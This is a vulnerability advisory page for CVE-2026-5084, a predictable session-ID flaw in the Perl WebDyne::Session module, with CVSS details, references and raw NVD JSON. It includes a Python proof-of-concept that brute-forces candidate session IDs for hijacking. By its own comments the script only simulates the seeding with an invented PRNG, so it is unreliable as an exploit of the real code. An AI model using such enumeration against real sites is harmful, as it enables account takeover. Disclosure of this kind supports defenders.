Security Vulnerability Report
中文
CVE-2026-5084 CVSS 6.5 MEDIUM

CVE-2026-5084

Published: 2026-05-11 08:16:16
Last Modified: 2026-05-12 16:48:58
Source: 9b29abf9-4ab0-4765-b253-1875cd9b441e

Description

WebDyne::Session versions through 2.075 for Perl generates the session id insecurely. The session handler generates the session id from an MD5 hash seeded with a call to the built-in rand() function. The rand function is passed a maximum value based on the process id, the epoch time and the reference address of the object, but this information will have no effect on the overall quality of the seed of the message digest. The rand function is seeded by 32-bits and is predictable. It is considered unsuitable for cryptographic purposes. Predictable session ids could allow an attacker to gain access to systems. Note that WebDyne::Session versions 1.042 and earlier appear to be in separate distributions from WebDyne.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WebDyne::Session <= 2.075

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept (PoC) for CVE-2026-5084 # This script demonstrates how to predict session IDs by guessing the weak seed. import hashlib import time def predict_session_id(pid, timestamp, obj_ref): # Simulating the weak seeding mechanism used in WebDyne::Session # Note: Actual implementation depends on specific Perl rand() internals seed = (pid ^ timestamp ^ obj_ref) & 0xFFFFFFFF # Simple PRNG simulation to mimic weak randomness random_val = (seed * 1103515245 + 12345) & 0x7fffffff # Constructing the session string similar to the vulnerable code session_data = f"{pid}-{timestamp}-{random_val}" return hashlib.md5(session_data.encode()).hexdigest() # Attack Scenario: Brute forcing within a reasonable time window and PID range def brute_force(): print("[*] Attempting to predict session IDs...") current_time = int(time.time()) possible_sids = [] # Assume attacker knows the rough time and server PID range for t in range(current_time - 10, current_time + 10): for pid in range(1, 5000): # Typical PID range for ref in [0x1000, 0x2000]: # Simulating object addresses sid = predict_session_id(pid, t, ref) possible_sids.append(sid) print(f"[+] Generated {len(possible_sids)} potential session IDs.") print("[*] Attacker can now test these IDs to hijack a session.") return possible_sids if __name__ == "__main__": brute_force()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5084", "sourceIdentifier": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "published": "2026-05-11T08:16:16.210", "lastModified": "2026-05-12T16:48:58.260", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "WebDyne::Session versions through 2.075 for Perl generates the session id insecurely.\n\nThe session handler generates the session id from an MD5 hash seeded with a call to the built-in rand() function. The rand function is passed a maximum value based on the process id, the epoch time and the reference address of the object, but this information will have no effect on the overall quality of the seed of the message digest.\n\nThe rand function is seeded by 32-bits and is predictable. It is considered unsuitable for cryptographic purposes.\n\nPredictable session ids could allow an attacker to gain access to systems.\n\nNote that WebDyne::Session versions 1.042 and earlier appear to be in separate distributions from WebDyne."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-338"}, {"lang": "en", "value": "CWE-340"}]}], "references": [{"url": "https://metacpan.org/release/ASPEER/WebDyne-2.075/source/lib/WebDyne/Session.pm#L120", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "https://security.metacpan.org/docs/guides/random-data-for-security.html", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "https://webdyne.org", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/11/3", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}